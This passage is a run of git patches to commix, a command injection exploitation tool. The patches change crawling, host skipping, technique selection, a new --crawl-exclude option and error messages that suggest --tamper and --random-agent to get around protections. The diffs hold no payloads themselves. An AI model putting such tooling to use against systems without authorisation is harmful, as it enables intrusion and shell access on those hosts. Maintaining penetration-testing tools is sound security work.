+++ b/src/core/main.py
@@ -337,6 +337,15 @@ def stdin_parsing_target(os_checks_num):
_.append(url.rstrip())
return _
+"""
+Check if an injection point has already been detected against target.
+"""
+def check_for_injected_url(url):
+ _ = True
+ if _urllib.parse.urlparse(url).netloc not in settings.CRAWLED_URLS_INJECTED:
+ _ = False
+ return _
+
"""
The main function.
"""
@@ -921,36 +930,70 @@ def main(filename, url):
print(settings.print_info_msg(info_msg))
url_num = 0
for url in clean_output_href:
- http_request_method = checks.check_http_method(url)
- if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url) or menu.options.shellshock) or settings.MULTI_TARGETS:
- url_num += 1
- print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "")
- message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > "
- message = common.read_input(message, default="Y", check_batch=True)
- if message in settings.CHOICE_YES:
- if os_checks_num == 0:
- settings.INIT_TEST = True
- if url == clean_output_href[-1]:
- settings.EOF = True
- # Reset the injection level
- if menu.options.level > settings.HTTP_HEADER_INJECTION_LEVEL:
- menu.options.level = 1
- init_injection(url)
- try:
- response, url = url_response(url)
- if response != False:
- filename = logs.logs_filename_creation(url)
- main(filename, url)
- except:
- pass
- elif message in settings.CHOICE_NO:
- if url_num == len(clean_output_href):
- raise SystemExit()
- else:
- pass
- elif message in settings.CHOICE_QUIT:
- raise SystemExit()
-
+ if check_for_injected_url(url):
+ if settings.SKIP_VULNERABLE_HOST is None:
+ while True:
+ message = "An injection point has already been detected against '" + _urllib.parse.urlparse(url).netloc + "'. "
+ message += "Do you want to skip further tests involving it? [Y/n] > "
+ skip_host = common.read_input(message, default="Y", check_batch=True)
+ if skip_host in settings.CHOICE_YES:
+ settings.SKIP_VULNERABLE_HOST = True
+ break
+ elif skip_host in settings.CHOICE_NO:
+ settings.SKIP_VULNERABLE_HOST = False
+ break
+ elif skip_host in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ common.invalid_option(skip_host)
+ pass
+
+ if settings.SKIP_VULNERABLE_HOST:
+ url_num += 1
+ info_msg = "Skipping URL '" + url + "' (" + str(url_num) + "/" + str(len(clean_output_href)) + ")."
+ print(settings.print_info_msg(info_msg))
+
+ if not check_for_injected_url(url) or settings.SKIP_VULNERABLE_HOST is False:
+ if not check_for_injected_url(url):
+ settings.SKIP_VULNERABLE_HOST = None
+ http_request_method = checks.check_http_method(url)
+ if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url) or menu.options.shellshock) or settings.MULTI_TARGETS:
+ url_num += 1
+ perform_check = True
+ while True:
+ print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "")
+ message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > "
+ next_url = common.read_input(message, default="Y", check_batch=True)
+ if next_url in settings.CHOICE_YES:
+ break
+ elif next_url in settings.CHOICE_NO:
+ perform_check = False
+ if url_num == len(clean_output_href):
+ raise SystemExit()
+ else:
+ break
+ elif next_url in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ common.invalid_option(next_url)
+ pass
+ if perform_check:
+ if os_checks_num == 0:
+ settings.INIT_TEST = True
+ if url == clean_output_href[-1]:
+ settings.EOF = True
+ # Reset the injection level
+ if menu.options.level > settings.HTTP_HEADER_INJECTION_LEVEL:
+ menu.options.level = 1
+ init_injection(url)
+ try:
+ response, url = url_response(url)
+ if response != False:
+ filename = logs.logs_filename_creation(url)
+ main(filename, url)
+ except:
+ pass
+
if url_num == len(clean_output_href):
raise SystemExit()
diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py
index 36fe50c4fa..817e53767d 100755
--- a/src/core/modules/shellshock/shellshock.py
+++ b/src/core/modules/shellshock/shellshock.py
@@ -422,6 +422,8 @@ def shellshock_handler(url, http_request_method, filename):
if go_back == True:
break
message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
+ if settings.CRAWLING:
+ settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc)
if not settings.STDIN_PARSING:
gotshell = common.read_input(message, default="Y", check_batch=True)
else:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 07720e03ed..e0c1ecde81 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "29"
+REVISION = "30"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
@@ -1214,6 +1214,8 @@ def sys_argv_errors():
CRAWLING = CRAWLING_PHASE = False
CRAWLED_SKIPPED_URLS_NUM = 0
CRAWLED_URLS_NUM = 0
+CRAWLED_URLS_INJECTED = []
+SKIP_VULNERABLE_HOST = None
# Skipped crawled hrefs
HREF_SKIPPED = []
@@ -1231,4 +1233,5 @@ def sys_argv_errors():
CHECKING_PARAMETER = ""
PCRE_REPLACE_EVAL = False
+
# eof
\ No newline at end of file
From 505938c439a5c93dd5b8206cb00d356876019e8b Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 6 Jan 2023 08:37:10 +0200
Subject: [PATCH 248/560] Minor update
---
src/utils/crawler.py | 3 +--
src/utils/settings.py | 2 +-
2 files changed, 2 insertions(+), 3 deletions(-)
diff --git a/src/utils/crawler.py b/src/utils/crawler.py
index b5d7fb8508..b00af136db 100644
--- a/src/utils/crawler.py
+++ b/src/utils/crawler.py
@@ -89,7 +89,6 @@ def normalize_results(output_href):
raise SystemExit()
else:
common.invalid_option(message)
- print(settings.print_error_msg(err_msg))
pass
@@ -296,7 +295,7 @@ def crawler(url, url_num, crawling_list):
_ = " (" + str(url_num) + "/" + str(crawling_list) + ")"
else:
_ = ""
- info_msg = "Starting crawler for target URL '" + url + "'" + _
+ info_msg = "Starting crawler for target URL '" + url + "'" + _ + "."
print(settings.print_info_msg(info_msg))
response = request(url)
if settings.SITEMAP_CHECK:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index e0c1ecde81..2121ec2d0f 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "30"
+REVISION = "31"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From c6a700ad8ece4d6a91b142aff3b505fe9421486a Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sat, 7 Jan 2023 08:50:17 +0200
Subject: [PATCH 249/560] Minor update
---
src/core/injections/controller/controller.py | 4 ++--
src/utils/settings.py | 2 +-
2 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index b269673d58..786b8218cb 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -843,8 +843,8 @@ def do_check(url, http_request_method, filename):
err_msg += " and/or remove the option '--skip-empty'"
err_msg += "."
print(settings.print_critical_msg(err_msg))
-
- logs.print_logs_notification(filename, url)
+ else:
+ logs.print_logs_notification(filename, url)
# if not settings.MULTI_TARGETS:
# print(settings.SINGLE_WHITESPACE)
if not settings.CHECK_BOTH_OS and not settings.MULTI_TARGETS:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 2121ec2d0f..26e4cdab56 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "31"
+REVISION = "32"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From c345490efd7208e5a981646ded370be3b197352e Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 8 Jan 2023 09:12:41 +0200
Subject: [PATCH 250/560] Trivial update
---
src/core/injections/controller/controller.py | 25 +++++++++++++-------
src/utils/settings.py | 2 +-
2 files changed, 18 insertions(+), 9 deletions(-)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 786b8218cb..42a6a59d5f 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -832,17 +832,26 @@ def do_check(url, http_request_method, filename):
if menu.options.level > settings.COOKIE_INJECTION_LEVEL:
err_msg += "and HTTP headers "
err_msg += "appear to be not injectable."
- if not menu.options.alter_shell :
- err_msg += " Try to use the option '--alter-shell'"
- else:
- err_msg += " Try to remove the option '--alter-shell'"
if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL :
- err_msg += " and/or increase '--level' value to perform"
- err_msg += " more tests"
+ err_msg += " Try to increase value for '--level' option"
if menu.options.skip_empty:
- err_msg += " and/or remove the option '--skip-empty'"
+ err_msg += " and/or remove option '--skip-empty'"
+ err_msg += " if you wish to perform more tests."
+ err_msg += " If you suspect that there is some kind of protection mechanism involved, maybe you could try to"
+ if not menu.options.alter_shell :
+ err_msg += " use option '--alter-shell'"
+ else:
+ err_msg += " remove option '--alter-shell'"
+ if not menu.options.tamper:
+ err_msg += " and/or use option '--tamper'"
+ if not menu.options.random_agent:
+ if not menu.options.tamper:
+ err_msg += " and/or"
+ err_msg += " switch '--random-agent'"
err_msg += "."
- print(settings.print_critical_msg(err_msg))
+ if settings.MULTI_TARGETS:
+ err_msg += " Skipping to the next target."
+ print(settings.print_error_msg(err_msg))
else:
logs.print_logs_notification(filename, url)
# if not settings.MULTI_TARGETS:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 26e4cdab56..cede2c049f 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "32"
+REVISION = "33"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 53c3b9732025ed7076175ecc537c7f86cb40a4b2 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 9 Jan 2023 09:07:16 +0200
Subject: [PATCH 251/560] Trivial update
---
src/core/main.py | 3 +++
src/utils/settings.py | 2 +-
2 files changed, 4 insertions(+), 1 deletion(-)
diff --git a/src/core/main.py b/src/core/main.py
index 71124fbaba..4d4aaf9480 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -299,6 +299,9 @@ def url_response(url):
Injection states initiation.
"""
def init_injection(url):
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Initializing the knowledge base."
+ print(settings.print_debug_msg(debug_msg))
# Initiate heuristic checks.
if settings.SKIP_CODE_INJECTIONS:
settings.SKIP_CODE_INJECTIONS = False
diff --git a/src/utils/settings.py b/src/utils/settings.py
index cede2c049f..5402c7b8c0 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "33"
+REVISION = "34"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 5f931721d612814c7c6ebe18290e312f632b1052 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 10 Jan 2023 07:27:45 +0200
Subject: [PATCH 252/560] Fixes
https://github.com/commixproject/commix/issues/803
---
src/core/injections/controller/controller.py | 25 +++++------
src/core/main.py | 47 +++++++++++++-------
src/utils/settings.py | 4 +-
3 files changed, 42 insertions(+), 34 deletions(-)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 42a6a59d5f..8a10ea3c2a 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -311,17 +311,6 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
info_msg = "Ignoring '" + str(menu.options.ignore_code) + "' HTTP error code. "
print(settings.print_info_msg(info_msg))
- # Skipping specific injection techniques.
- if settings.SKIP_TECHNIQUES:
- menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES)
- for skip_tech_name in settings.AVAILABLE_TECHNIQUES:
- if skip_tech_name in menu.options.skip_tech:
- menu.options.tech = menu.options.tech.replace(skip_tech_name,"")
- if len(menu.options.tech) == 0:
- err_msg = "Detection procedure was aborted due to skipping all injection techniques."
- print(settings.print_critical_msg(err_msg))
- raise SystemExit
-
# User-Agent HTTP header / Referer HTTP header /
# Host HTTP header / Custom HTTP header Injection(s)
if check_parameter.startswith(settings.SINGLE_WHITESPACE):
@@ -389,10 +378,10 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
common.invalid_option(procced_option)
pass
- if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO:
- warn_msg = "Heuristic (basic) tests shows that "
- warn_msg += settings.CHECKING_PARAMETER + " might not be injectable."
- print(settings.print_bold_warning_msg(warn_msg))
+ if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO:
+ warn_msg = "Heuristic (basic) tests shows that "
+ warn_msg += settings.CHECKING_PARAMETER + " might not be injectable."
+ print(settings.print_bold_warning_msg(warn_msg))
if menu.options.failed_tries and \
menu.options.tech and not "f" in menu.options.tech and not \
@@ -837,6 +826,12 @@ def do_check(url, http_request_method, filename):
if menu.options.skip_empty:
err_msg += " and/or remove option '--skip-empty'"
err_msg += " if you wish to perform more tests."
+ if settings.USER_SUPPLIED_TECHNIQUE or settings.SKIP_TECHNIQUES:
+ err_msg += " Rerun without providing the option "
+ if not settings.SKIP_TECHNIQUES :
+ err_msg += "'--technique'."
+ else:
+ err_msg += "'--skip-technique'."
err_msg += " If you suspect that there is some kind of protection mechanism involved, maybe you could try to"
if not menu.options.alter_shell :
err_msg += " use option '--alter-shell'"
diff --git a/src/core/main.py b/src/core/main.py
index 4d4aaf9480..79e7e1ffba 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -164,6 +164,7 @@ def user_agent_header():
print(settings.print_info_msg(info_msg))
except:
print(settings.SINGLE_WHITESPACE)
+
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Setting the HTTP User-Agent header."
print(settings.print_debug_msg(debug_msg))
@@ -447,25 +448,39 @@ def main(filename, url):
else:
settings.USER_SUPPLIED_TECHNIQUE = True
else:
- menu.options.tech = list(menu.options.tech)
+ menu.options.tech = list(menu.options.tech.lower())
_ = {settings.AVAILABLE_TECHNIQUES[i] : i for i in range(len(settings.AVAILABLE_TECHNIQUES))}
- menu.options.tech.sort(key=lambda x:_[x])
+ try:
+ menu.options.tech.sort(key=lambda x:_[x])
+ except KeyError:
+ pass
menu.options.tech = ''.join(menu.options.tech)
else:
menu.options.tech = ''.join([str(x) for x in settings.AVAILABLE_TECHNIQUES])
# Check for skipping injection techniques.
if menu.options.skip_tech:
+ # Convert injection technique(s) to lowercase
+ menu.options.skip_tech = menu.options.skip_tech.lower()
settings.SKIP_TECHNIQUES = True
- menu.options.tech = menu.options.skip_tech
+ if menu.options.tech:
+ err_msg = "The options '--technique' and '--skip-technique' cannot be used "
+ err_msg += "simultaneously (i.e. only one option must be set)."
+ print(settings.print_critical_msg(err_msg))
+ raise SystemExit
+ else:
+ menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES)
+ for skip_tech_name in settings.AVAILABLE_TECHNIQUES:
+ if skip_tech_name in menu.options.skip_tech:
+ menu.options.tech = menu.options.tech.replace(skip_tech_name,"")
+ if len(menu.options.tech) == 0:
+ err_msg = "Detection procedure was aborted due to skipping all injection techniques."
+ print(settings.print_critical_msg(err_msg))
+ raise SystemExit
# Check if specified wrong injection technique
if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES:
found_tech = False
-
- # Convert injection technique(s) to lowercase
- menu.options.tech = menu.options.tech.lower()
-
# Check if used the ',' separator
if settings.PARAMETER_SPLITTING_REGEX in menu.options.tech:
split_techniques_names = menu.options.tech.split(settings.PARAMETER_SPLITTING_REGEX)
@@ -485,20 +500,22 @@ def main(filename, url):
found_tech == False:
err_msg = "You specified wrong value '" + split_techniques_names[i]
err_msg += "' as injection technique. "
- err_msg += "The value for '"
+ err_msg += "The value for option '"
if not settings.SKIP_TECHNIQUES :
err_msg += "--technique"
else:
- err_msg += "--skip-technique"
-
- err_msg += "' must be a string composed by the letters C, E, T, F. "
- err_msg += "Refer to the official wiki for details."
+ err_msg += "--skip-technique"
+ err_msg += "' must be a string composed by the letters "
+ err_msg += ', '.join(settings.AVAILABLE_TECHNIQUES).upper()
+ err_msg += ". Refer to the official wiki for details."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
if not menu.options.tech:
menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES)
-
+ else:
+ settings.USER_SUPPLIED_TECHNIQUE = True
+
# Check the file-destination
if menu.options.file_write and not menu.options.file_dest or \
menu.options.file_upload and not menu.options.file_dest:
@@ -527,10 +544,6 @@ def main(filename, url):
session_handler.flush(url)
# Check for CGI scripts on url
checks.check_CGI_scripts(url)
- # Modification on payload
- # if not menu.options.shellshock and not settings.USE_BACKTICKS and not settings.MULTI_TARGETS:
- # settings.SYS_USERS = checks.add_command_substitution(settings.SYS_USERS)
- # settings.SYS_PASSES = checks.add_command_substitution(settings.SYS_PASSES)
# Check if defined "--file-upload" option.
if menu.options.file_upload:
checks.file_upload()
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 5402c7b8c0..4f7765ecf5 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "34"
+REVISION = "35"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
@@ -602,7 +602,7 @@ def sys_argv_errors():
AVAILABLE_SHELLS = ["python"]
# Available injection techniques.
-AVAILABLE_TECHNIQUES = [ "c", "e", "t", "f" ]
+AVAILABLE_TECHNIQUES = ['c','e','t','f']
USER_SUPPLIED_TECHNIQUE = False
SKIP_TECHNIQUES = False
From 840cc086e4f0b31b61dd3f4824583b70db5e6ba0 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 11 Jan 2023 07:29:09 +0200
Subject: [PATCH 253/560] Added a new option ` --crawl-exclude` regarding
setting regular expression for excluding pages from crawling (e.g. "logout").
---
doc/CHANGELOG.md | 1 +
src/core/main.py | 12 ++++++++++++
src/utils/crawler.py | 15 ++++++++++-----
src/utils/menu.py | 5 +++++
src/utils/settings.py | 2 +-
5 files changed, 29 insertions(+), 6 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index c7d3582b35..2a5b6b07ec 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.7 (TBA)
+* Added: New option ` --crawl-exclude` regarding setting regular expression for excluding pages from crawling (e.g. "logout").
* Revised: Improvement regarding `--crawl` option, for skipping further tests involving target that an injection point has already been detected.
* Added: Support regarding combining `--crawl` option with scanning multiple targets given from piped-input (i.e. stdin).
* Revised: Minor improvement regarding adding PCRE_REPLACE_EVAL `/e` modifier (i.e. dynamic code evaluation technique).
diff --git a/src/core/main.py b/src/core/main.py
index 79e7e1ffba..d73dd7109c 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -816,6 +816,18 @@ def main(filename, url):
if menu.options.crawldepth > 0 or settings.SITEMAP_CHECK:
settings.CRAWLING = True
+ if menu.options.crawl_exclude:
+ if not settings.CRAWLING:
+ err_msg = "The '--crawl-exclude' option requires usage of option '--crawl'."
+ print(settings.print_critical_msg(err_msg))
+ raise SystemExit()
+ try:
+ re.compile(menu.options.crawl_exclude)
+ except Exception as e:
+ err_msg = "invalid regular expression '" + menu.options.crawl_exclude + "' (" + str(e) + ")."
+ print(settings.print_critical_msg(err_msg))
+ raise SystemExit()
+
# Check arguments
if len(sys.argv) == 1 and not settings.STDIN_PARSING:
menu.parser.print_help()
diff --git a/src/utils/crawler.py b/src/utils/crawler.py
index b00af136db..478c22934a 100644
--- a/src/utils/crawler.py
+++ b/src/utils/crawler.py
@@ -269,12 +269,17 @@ def do_process(url):
href = tag.get("href") if hasattr(tag, settings.HTTPMETHOD.GET) else tag.group("href")
if href:
href = _urllib.parse.urljoin(url, _urllib.parse.unquote(href))
- if _urllib.parse.urlparse(url).netloc in href:
+ if _urllib.parse.urlparse(url).netloc in href:
if (common.extract_regex_result(r"\A[^?]+\.(?P\w+)(\?|\Z)", href) or "") not in settings.CRAWL_EXCLUDE_EXTENSIONS:
- if not re.search(r"\?(v=)?\d+\Z", href) and \
- not re.search(r"(?i)\.(js|css)(\?|\Z)", href):
- identified_hrefs = store_hrefs(href, identified_hrefs, redirection=False)
-
+ if not re.search(r"\?(v=)?\d+\Z", href) and not re.search(r"(?i)\.(js|css)(\?|\Z)", href):
+ if menu.options.crawl_exclude and re.search(menu.options.crawl_exclude, href or ""):
+ if href not in visited_hrefs:
+ visited_hrefs.append(href)
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Skipping URL " + href + "."
+ print(settings.print_debug_msg(debug_msg))
+ else:
+ identified_hrefs = store_hrefs(href, identified_hrefs, redirection=False)
no_usable_links(crawled_hrefs)
if identified_hrefs:
if len(new_crawled_hrefs) != 0 and settings.DEFAULT_CRAWLING_DEPTH != 1:
diff --git a/src/utils/menu.py b/src/utils/menu.py
index 03d4659326..e3069316c7 100755
--- a/src/utils/menu.py
+++ b/src/utils/menu.py
@@ -169,6 +169,11 @@ def banner():
type="int",
help="Crawl the website starting from the target URL (Default: 1).")
+target.add_option("--crawl-exclude",
+ dest="crawl_exclude",
+ default=None,
+ help="Regexp to exclude pages from crawling (e.g. \"logout\").")
+
target.add_option("-x",
dest="sitemap_url",
help="Parse target(s) from remote sitemap(.xml) file.")
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 4f7765ecf5..c03f153e28 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "35"
+REVISION = "36"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From f7d9a5020c35f41fc50fd802a4f6c7fc19bddd87 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 12 Jan 2023 08:04:56 +0200
Subject: [PATCH 254/560] Minor update
---
src/core/main.py | 4 ++--
src/utils/settings.py | 2 +-
2 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/src/core/main.py b/src/core/main.py
index d73dd7109c..ef41c3a7c4 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -749,7 +749,7 @@ def main(filename, url):
# Check if defined "--check-tor" option.
if menu.options.tor_check and not menu.options.tor:
- err_msg = "The '--check-tor' swich requires usage of switch '--tor'."
+ err_msg = "The '--check-tor' swich requires usage of '--tor' switch."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
@@ -818,7 +818,7 @@ def main(filename, url):
if menu.options.crawl_exclude:
if not settings.CRAWLING:
- err_msg = "The '--crawl-exclude' option requires usage of option '--crawl'."
+ err_msg = "The '--crawl-exclude' option requires usage of '--crawl' option."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
try:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index c03f153e28..6a2735dbd6 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "36"
+REVISION = "37"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 5689d6c87c87824c75d980c5f2fcc1b10f73e71c Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 13 Jan 2023 08:56:06 +0200
Subject: [PATCH 255/560] Trivial update
---
src/core/injections/controller/checks.py | 6 +++---
src/core/requests/parameters.py | 8 ++++----
src/utils/settings.py | 2 +-
3 files changed, 8 insertions(+), 8 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 276a9dac2a..27a9e0f85f 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -249,10 +249,10 @@ def get_value_boundaries(value):
"""
Check if the value has boundaries.
"""
-def value_boundaries(value):
+def value_boundaries(parameter, value, http_request_method):
_ = get_value_boundaries(value)
- message = "It appears that the value '" + str(_) + "' has boundaries. "
- message += "Do you want to inject inside? [Y/n] > "
+ message = "It appears that provided value for "+ http_request_method + " parameter '" + parameter.split("=")[0] + "' has boundaries. "
+ message += "Do you want to inject inside? ('" + str(value.replace(_,_+"*")) + "')? [Y/n] > "
procced_option = common.read_input(message, default="Y", check_batch=True)
if procced_option in settings.CHOICE_YES:
value = _
diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py
index b3c6729326..c686c88697 100755
--- a/src/core/requests/parameters.py
+++ b/src/core/requests/parameters.py
@@ -82,7 +82,7 @@ def do_GET_check(url, http_request_method):
# Check if single parameter is supplied.
if len(multi_parameters) == 1:
if re.search(settings.VALUE_BOUNDARIES, value):
- value = checks.value_boundaries(value)
+ value = checks.value_boundaries(multi_parameters, value, http_request_method)
# Replace the value of parameter with INJECT_HERE tag
# Check if defined the INJECT_TAG
if settings.INJECT_TAG not in parameters:
@@ -127,7 +127,7 @@ def do_GET_check(url, http_request_method):
if checks.ignore_anticsrf_parameter(all_params[param]):
continue
if re.search(settings.VALUE_BOUNDARIES, value):
- value = checks.value_boundaries(value)
+ value = checks.value_boundaries(all_params[param], value, http_request_method)
# Replace the value of parameter with INJECT_HERE tag
if len(value) == 0:
if not menu.options.skip_empty:
@@ -253,7 +253,7 @@ def do_POST_check(parameter, http_request_method):
if checks.ignore_anticsrf_parameter(parameter):
return parameter
if re.search(settings.VALUE_BOUNDARIES, value):
- value = checks.value_boundaries(value)
+ value = checks.value_boundaries(parameter, value, http_request_method)
# Replace the value of parameter with INJECT_HERE tag
if len(value) == 0:
if settings.IS_JSON:
@@ -307,7 +307,7 @@ def do_POST_check(parameter, http_request_method):
if checks.ignore_anticsrf_parameter(all_params[param]):
continue
if re.search(settings.VALUE_BOUNDARIES, value):
- value = checks.value_boundaries(value)
+ value = checks.value_boundaries(all_params[param], value, http_request_method)
# Replace the value of parameter with INJECT_HERE tag
if len(value) == 0:
if not menu.options.skip_empty:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 6a2735dbd6..69241fe3fe 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "37"
+REVISION = "38"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From fde2d6ae19bd671dc00405e2c2ad1725623862b1 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sat, 14 Jan 2023 07:38:42 +0200
Subject: [PATCH 256/560] Improvements regarding dynamic code evaluation
technique).
---
doc/CHANGELOG.md | 2 +-
src/core/injections/controller/checks.py | 100 ++++++++++---------
src/core/injections/controller/controller.py | 4 -
src/core/requests/parameters.py | 15 ++-
src/utils/settings.py | 7 +-
5 files changed, 70 insertions(+), 58 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 2a5b6b07ec..8609b0c023 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -2,7 +2,7 @@
* Added: New option ` --crawl-exclude` regarding setting regular expression for excluding pages from crawling (e.g. "logout").
* Revised: Improvement regarding `--crawl` option, for skipping further tests involving target that an injection point has already been detected.
* Added: Support regarding combining `--crawl` option with scanning multiple targets given from piped-input (i.e. stdin).
-* Revised: Minor improvement regarding adding PCRE_REPLACE_EVAL `/e` modifier (i.e. dynamic code evaluation technique).
+* Revised: Minor improvement regarding adding PCRE `/e` modifier (i.e. dynamic code evaluation technique).
* Revised: Minor bug-fix regarding logging all HTTP traffic into a textual file (i.e `-t` option).
## Version 3.6 (2022-11-18)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 27a9e0f85f..63c945bf94 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -243,28 +243,67 @@ def load_cmd_history():
"""
Get value inside boundaries.
"""
-def get_value_boundaries(value):
- return re.search(settings.VALUE_BOUNDARIES, value).group(1)
+def get_value_inside_boundaries(value):
+ try:
+ value = re.search(settings.VALUE_BOUNDARIES, value).group(1)
+ except Exception as ex:
+ pass
+ return value
"""
Check if the value has boundaries.
"""
def value_boundaries(parameter, value, http_request_method):
- _ = get_value_boundaries(value)
- message = "It appears that provided value for "+ http_request_method + " parameter '" + parameter.split("=")[0] + "' has boundaries. "
- message += "Do you want to inject inside? ('" + str(value.replace(_,_+"*")) + "')? [Y/n] > "
- procced_option = common.read_input(message, default="Y", check_batch=True)
- if procced_option in settings.CHOICE_YES:
- value = _
- elif procced_option in settings.CHOICE_NO:
- settings.INJECT_INSIDE_BOUNDARIES = False
- pass
- elif procced_option in settings.CHOICE_QUIT:
- raise SystemExit()
+ def check_boundaries_value(parameter, value, http_request_method):
